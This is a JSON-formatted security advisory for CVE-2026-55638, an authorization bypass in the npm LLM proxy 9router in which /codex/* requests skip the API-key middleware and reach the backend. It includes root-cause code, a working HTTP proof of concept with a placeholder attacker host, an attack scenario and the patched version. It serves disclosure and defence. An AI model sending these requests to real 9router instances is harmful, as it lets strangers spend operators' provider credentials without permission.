{"id":"CVE-2026-55638","aliases":["GHSA-8gmq-j984-vp4r"],"title":"9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass","summary":"9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass","severity":"high","cvss":8.6,"cwe":["CWE-862","CWE-863"],"vendor":"9router","product":"9router","ecosystem":"npm","affected":["9router < 0.5.2"],"patched":["9router 0.5.2"],"published":"2026-08-28","updated":"2026-08-28","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-8gmq-j984-vp4r","references":[{"url":"https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55638"},{"url":"https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"},{"url":"https://github.com/decolua/9router/releases/tag/v0.5.2"},{"url":"https://github.com/advisories/GHSA-8gmq-j984-vp4r"}],"tags":["ghsa","npm"],"epss":0.00611,"epssPercentile":0.47969,"ingestedAt":"2026-08-28T19:24:19.448Z","slug":"CVE-2026-55638","body":"## Overview\n\n## Summary\n\n9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.\n\nHowever, 9router also defines a rewrite that maps `/codex/*` to the backend LLM endpoint `/api/v1/responses`. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because `/codex` is not included in the middleware's protected LLM API prefix list, requests to `/codex/*` bypass the API-key gate and are later rewritten to the same backend used by `/api/v1/responses`.\n\nAs a result, an unauthenticated remote attacker can access the LLM proxy through `/codex/*` and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.\n\n## Details\n\n| Component                     | File                                | Note                                                                      |\n| ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- |\n| Middleware authorization gate | `src/dashboardGuard.js`             | Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex` |\n| Rewrite configuration         | `next.config.mjs`                   | Rewrites `/codex/:path*` to `/api/v1/responses`                           |\n| LLM backend route             | `src/app/api/v1/responses/route.js` | Dispatches rewritten requests to the LLM handler                          |\n| Chat handler                  | `src/sse/handlers/chat.js`          | Uses operator-stored provider credentials for upstream calls              |\n\nTested version:\n\n| Version / Commit                                             | Runtime          | Status   |\n| ------------------------------------------------------------ | ---------------- | -------- |\n| `v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56` | Next.js `16.2.9` | Affected |\n\n### Root Cause\n\nThe middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:\n\n```js\nPUBLIC_PREFIXES = [\"/v1\", \"/v1beta\", \"/api/v1\", \"/api/v1beta\"];\n```\n\nBecause `/codex` is not included in this list, a request such as `/codex/x` does not enter the LLM API authorization branch and falls through to:\n\n```js\nreturn NextResponse.next();\n```\n\nThe rewrite configuration then maps the allowed request to the protected backend route:\n\n```js\n{\n  source: \"/codex/:path*\",\n  destination: \"/api/v1/responses\"\n}\n```\n\nThe backend route reaches the same handler used by the canonical LLM endpoint:\n\n```js\nreturn await handleChat(request);\n```\n\nThe handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.\n\n## PoC\n\nThe following requests use the same target server and the same remote-style `Host` header. The only meaningful difference is the request path.\n\n### Case 01 — Protected canonical endpoint rejects unauthenticated access\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 401 Unauthorized\n```\n\nThis confirms that the canonical `/api/v1/responses` path is protected by the intended API-key gate.\n\n### Case 02 — Rewritten `/codex/*` path bypasses the API-key gate\n\n```http\nPOST /codex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThe request reaches the LLM backend without an API key.\n\nA controlled upstream provider endpoint recorded the outbound request from 9router:\n\n```text\nPOST /responses\nAuthorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER\nrequest-body marker present: true\noperator key marker in Authorization: true\n```\n\nThis confirms that the unauthenticated `/codex/*` request causes 9router to make an upstream provider call using the operator-stored credentials.\n\n### Case 03 — Unrelated unknown path does not reach the backend\n\n```http\nPOST /notcodex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 404 Not Found\n```\n\nNo upstream provider call is made. This isolates the issue to the `/codex/*` rewrite.\n\n### Case 04 — Canonical endpoint succeeds only with a valid API key\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nAuthorization: Bearer sk-REDACTED\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThis confirms that the canonical endpoint is functional and that the `401` response in Case 01 is an authorization failure, not a backend error.\n\n## Attack Scenario\n\n1. A remote attacker identifies a publicly reachable 9router instance.\n2. The attacker sends LLM proxy requests to `/codex/*` instead of `/api/v1/responses`.\n3. The middleware evaluates the original `/codex/*` path and does not apply the LLM API-key gate.\n4. The rewrite maps the request to `/api/v1/responses`.\n5. The backend processes the request and performs an upstream provider call.\n6. The upstream call uses the operator-stored provider credentials.\n\n## Impact\n\nA successful attacker can use the operator's configured LLM provider account without authentication.\n\nLikely consequences include:\n\n* Unauthorized use of the 9router LLM proxy.\n* Consumption of the operator's provider credits or quota.\n* Unexpected billing impact.\n* Abuse of configured OpenAI/Anthropic-compatible providers.\n* Exposure of model/provider behavior through proxy responses.\n* Bypass of the intended API-key access control for remote LLM proxy access.\n\n## Affected packages\n\n- `9router < 0.5.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `9router 0.5.2`","depth":"twilight","depthScore":47,"depthScoreParts":{"impact":47.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}